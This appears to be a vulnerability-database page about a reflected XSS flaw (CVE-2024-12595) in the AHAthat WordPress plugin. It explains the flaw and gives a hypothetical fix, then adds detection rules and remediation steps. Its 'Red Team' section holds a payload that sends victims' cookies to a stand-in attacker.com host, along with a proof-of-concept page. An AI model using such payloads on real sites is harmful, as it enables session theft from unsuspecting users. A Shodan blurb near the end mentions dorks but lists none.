CVE-2024-12595
Executive Summary
CVE-2024-12595 is a Reflected Cross-Site Scripting (XSS) vulnerability in the AHAthat Plugin for WordPress, affecting versions through 1.6. The plugin fails to properly escape the $_SERVER['REQUEST_URI'] parameter before outputting it back into an HTML attribute. This allows an attacker to inject arbitrary JavaScript code into a page, which is then executed in the context of the victim's browser session. The vulnerability is particularly dangerous for users of older web browsers that do not support modern XSS protections (e.g., X-XSS-Protection headers). As a WordPress plugin vulnerability, it falls under the WordPress ecosystem and should be addressed by disabling or removing the plugin until a patch is released.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The supply chain risk is moderate: the plugin is not actively maintained, and no patched version is available. Users should consider removing the plugin entirely and migrating to an alternative solution.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
- Base Score: 6.1 (Medium)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must click a crafted link)
- Scope: Unchanged
- Confidentiality Impact: Low (potential cookie theft or page content access)
- Integrity Impact: Low (ability to modify page content or perform actions on behalf of user)
- Availability Impact: None
Threat Level: Medium. Exploitation requires user interaction, but the attack surface is broad due to the lack of input sanitization.
Deep Dive & Mechanics
The vulnerability resides in how the AHAthat plugin handles the $_SERVER['REQUEST_URI'] variable. This variable contains the full URI of the current request, including query parameters. The plugin outputs this value directly into an HTML attribute without proper escaping or sanitization.
Vulnerable Code Path (conceptual):
<?php
// In a template or function within the plugin
echo '<a href="' . $_SERVER['REQUEST_URI'] . '">Click here</a>';
?>
An attacker can craft a malicious URL such as:
https://victim-site.com/?"><script>alert('XSS')</script>
When the victim visits this URL, the plugin outputs the unsanitized URI into the HTML, resulting in:
<a href="/?"><script>alert('XSS')</script>">Click here</a>
The browser parses the injected <script> tag and executes the attacker's JavaScript. In older browsers without XSS filters, this attack succeeds reliably.
Vulnerable vs. Patched Code
Vulnerable Code (AHAthat Plugin <= 1.6):
<?php
// No escaping of REQUEST_URI
echo '<div class="ahathat-link" data-url="' . $_SERVER['REQUEST_URI'] . '">';
?>
Patched Code (Hypothetical Fix):
<?php
// Properly escape the URI for HTML attribute context
echo '<div class="ahathat-link" data-url="' . esc_attr( esc_url_raw( $_SERVER['REQUEST_URI'] ) ) . '">';
?>
The fix uses WordPress's built-in esc_attr() and esc_url_raw() functions to sanitize the output. Since no official patch exists, users must apply this fix manually or remove the plugin.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target WordPress site with AHAthat plugin version <= 1.6
- Victim using an older browser (e.g., Internet Explorer, older Chrome/Firefox)
Exploit Payload:
https://victim-site.com/?"><script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
Step-by-Step:
- Craft the malicious URL with the XSS payload in the query string.
- Send the link to the victim via email, social engineering, or other means.
- When the victim clicks the link, the injected script executes.
- The script exfiltrates the victim's cookies to the attacker's server.
Proof of Concept (PoC) Code:
<!-- Save as poc.html and host on attacker server -->
<html>
<body>
<h1>CVE-2024-12595 PoC</h1>
<p>Click the link below to test:</p>
<a href="https://victim-site.com/?"><script>alert('XSS')</script>">Test XSS</a>
</body>
</html>
Blue Team (Detection & Prevention)
Detection Steps:
- Monitor web server logs for requests containing suspicious patterns like
"><script>or%22%3E%3Cscript%3E. - Use a Web Application Firewall (WAF) to block requests with obvious XSS payloads in the URI.
- Deploy browser-based XSS protections (e.g., Content Security Policy headers).
Prevention:
- Disable or remove the AHAthat plugin immediately.
- Apply the hypothetical patch if you must keep the plugin.
- Upgrade to a modern browser that includes XSS filters.
Indicators of Compromise (IOCs)
Network IOCs:
- URIs containing
"><script>or%22%3E%3Cscript%3Ein the query string. - Outbound connections to attacker-controlled domains from the victim's browser.
File IOCs:
- Presence of the AHAthat plugin directory:
/wp-content/plugins/ahathat/ - Modified files within the plugin that contain unsanitized
$_SERVER['REQUEST_URI']usage.
Log IOCs:
- Web server access logs showing requests with XSS payloads in the URI.
- Browser console errors related to script execution.
Detection Engineering
YARA Rule
rule CVE_2024_12595_AHAthat_XSS {
meta:
description = "Detects unsanitized REQUEST_URI usage in AHAthat plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-12595"
strings:
$vuln_pattern = /$_SERVER\['REQUEST_URI'\]/
$output_context = /echo.*\$_(SERVER|REQUEST_URI)/
condition:
$vuln_pattern and $output_context
}
Sigma Rule
title: CVE-2024-12595 - Reflected XSS in AHAthat Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with XSS payloads targeting AHAthat plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- '"><script>'
- '%22%3E%3Cscript%3E'
condition: selection
falsepositives:
- Legitimate use of similar patterns in other plugins
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-12595 - AHAthat Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"ahathat"; http_uri; content:"%22%3E%3Cscript%3E"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin: Deactivate and delete the AHAthat plugin from all WordPress installations.
- Apply virtual patching: Use a WAF to block requests containing
"><script>or similar patterns in the URI. - Update browsers: Ensure all users are on modern browsers that include XSS filters.
Long-Term Fix:
- The vendor has not released a patch. Consider migrating to an alternative plugin that provides similar functionality.
- If you must keep the plugin, manually patch the vulnerable code as described in the "Vulnerable vs. Patched Code" section.
Verification:
- After remediation, test the site by attempting to trigger the XSS with the PoC URL.
- Monitor logs for any residual exploitation attempts.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.